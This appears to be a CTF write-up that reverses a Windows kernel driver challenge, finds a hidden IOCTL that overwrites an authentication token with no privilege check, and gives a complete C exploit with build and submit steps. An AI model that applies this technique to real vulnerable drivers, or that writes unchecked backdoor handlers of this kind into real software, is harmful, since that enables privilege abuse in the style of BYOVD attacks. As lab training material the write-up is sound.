WINSENSOR (ROCSC Finals 2026) — Hidden IOCTL in a Windows Kernel Driver

A stripped x64 Windows kernel driver with three IOCTL handlers — two documented, one not. The hidden one writes directly to the driver's auth variable with no privilege check, unlocking the flag. The pattern is exactly how BYOVD attacks work in the wild.

Challenge setup

You get WinSensor.sys — a 64-bit Windows kernel driver PE, stripped, native subsystem. The server takes your exploit.exe, runs it against a live driver instance, and streams the output back. Flag comes out only if you authenticate correctly with the driver.

The driver exposes its interface through a named pipe at \\.\pipe\WinSensor. The protocol is straightforward binary little-endian:

  • Request: uint32_t ioctl_code | uint32_t in_len | data[in_len]
  • Response: uint32_t ntstatus | uint32_t out_len | data[out_len]

Step 1 — reversing WinSensor.sys

Load in Ghidra or IDA. Because it's a native subsystem PE, the entry point is DriverEntry. It sets a function pointer at DRIVER_OBJECT+0x38+0x0E*8 — that's the IRP_MJ_DEVICE_CONTROL dispatch slot. Follow it to WinSensorDeviceControl.

Inside there is a switch on the IOCTL code. Three cases:

| IOCTL Code   | Name                       | Notes                    |
|--------------|----------------------------|--------------------------|
| 0x88000000   | IOCTL_SENSOR_GET_VERSION   | Returns version string   |
| 0x88000004   | IOCTL_SENSOR_READ_FLAG     | Returns flag (auth-gated)|
| 0x8800001C   | IOCTL_SENSOR_WRITE_TOKEN   | Not in docs, function=7  |

IOCTL codes are computed via CTL_CODE(DeviceType, Function, Method, Access). The formula simplifies to (DeviceType << 16) | (Function << 2) when method and access are both zero. With device type 0x8800, function codes 0 and 1 give the two obvious handlers. Function code 7 produces 0x8800001C — that's the hidden one.

Step 2 — the vulnerability

IOCTL_SENSOR_READ_FLAG checks g_auth_token == ADMIN_TOKEN before returning anything. The gate for FLAG access is a single global variable comparison.

Now look at what IOCTL_SENSOR_WRITE_TOKEN does:

case IOCTL_SENSOR_WRITE_TOKEN:
    if (inLen < sizeof(ULONGLONG)) { status = STATUS_INVALID_PARAMETER; break; }
    g_auth_token = *(ULONGLONG *)buf;   /* no validation whatsoever */
    status = STATUS_SUCCESS;
    break;

No privilege check. No caller verification. Anyone holding a handle to the pipe can send 8 bytes and overwrite g_auth_token to any value they want. Call it with ADMIN_TOKEN first, then call IOCTL_SENSOR_READ_FLAG — that's the whole exploit.

This is a diagnostic backdoor — a handler added during development for internal testing that was never gated, never removed, and not listed in the public SDK headers. The only sign of its existence is the function code in the binary.

Step 3 — finding ADMIN_TOKEN

The comparison in IOCTL_SENSOR_READ_FLAG is easy to spot in disassembly:

CMP  RAX, 0xC0FFEE1337DEAD01

Or find it in .rdata as little-endian bytes:

01 AD DE 37 13 EE FF C0

ADMIN_TOKEN = 0xC0FFEE1337DEAD01

Step 4 — writing the exploit

Three operations in order: open the pipe, write the token via the hidden IOCTL, read the flag.

/*
 * solve.c -- WINSENSOR CTF challenge solution
 *
 * Steps (found by reversing WinSensor.sys):
 *   1. Open \\.\pipe\WinSensor
 *   2. IOCTL 0x88000000 -> get version (optional sanity check)
 *   3. IOCTL 0x8800001C with ADMIN_TOKEN (0xC0FFEE1337DEAD01) -> unlock
 *   4. IOCTL 0x88000004 -> read flag
 *
 * Compile:
 *   x86_64-w64-mingw32-gcc -O2 -o exploit.exe solve.c -lkernel32
 */

#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>

#define IOCTL_GET_VERSION   0x88000000UL
#define IOCTL_READ_FLAG     0x88000004UL
#define IOCTL_WRITE_TOKEN   0x8800001CUL   /* found by reversing WinSensorDeviceControl() */

static const uint64_t ADMIN_TOKEN = 0xC0FFEE1337DEAD01ULL;

static int pipe_write(HANDLE h, const void *b, DWORD n) {
    DWORD t=0,w; while(t<n){if(!WriteFile(h,(char*)b+t,n-t,&w,NULL)||!w)return 0;t+=w;} return 1;
}
static int pipe_read(HANDLE h, void *b, DWORD n) {
    DWORD t=0,g; while(t<n){if(!ReadFile(h,(char*)b+t,n-t,&g,NULL)||!g)return 0;t+=g;} return 1;
}

static uint32_t ioctl(HANDLE h, uint32_t code,
                      const void *in, uint32_t in_n,
                      void *out, uint32_t *out_n)
{
    uint32_t hdr[2]={code,in_n};
    if(!pipe_write(h,hdr,8)) return 0xDEAD;
    if(in_n) pipe_write(h,in,in_n);
    uint32_t r[2]; pipe_read(h,r,8);
    if(r[1]&&out&&out_n){pipe_read(h,out,r[1]<*out_n?r[1]:*out_n);*out_n=r[1];}
    else if(out_n)*out_n=0;
    return r[0];
}

int main(void) {
    HANDLE h = CreateFileA("\\\\.\\pipe\\WinSensor",
        GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if(h==INVALID_HANDLE_VALUE){printf("[-] open failed: %lu\n",GetLastError());return 1;}

    /* step 1: get version (sanity) */
    char ver[64]={0}; uint32_t vl=sizeof(ver);
    ioctl(h, IOCTL_GET_VERSION, NULL, 0, ver, &vl);
    printf("[*] %s\n", ver);

    /* step 2: write admin token (vulnerability -- unchecked write to auth var) */
    ioctl(h, IOCTL_WRITE_TOKEN, &ADMIN_TOKEN, 8, NULL, NULL);
    printf("[+] Token written\n");

    /* step 3: read flag */
    char flag[256]={0}; uint32_t fl=sizeof(flag);
    uint32_t st = ioctl(h, IOCTL_READ_FLAG, NULL, 0, flag, &fl);
    if(st==0) printf("[+] %s\n", flag);
    else printf("[-] READ_FLAG failed: 0x%08X\n", st);

    CloseHandle(h);
    return 0;
}

Compile and submit:

x86_64-w64-mingw32-gcc -O2 -o exploit.exe solve.c -lkernel32
base64 -w 0 exploit.exe
# paste output into the nc session, then send a line with just: END

Expected output:

[*] SensorTech HWMon v2.0.1
[+] Token written
[+] CTF{<64 hex chars>}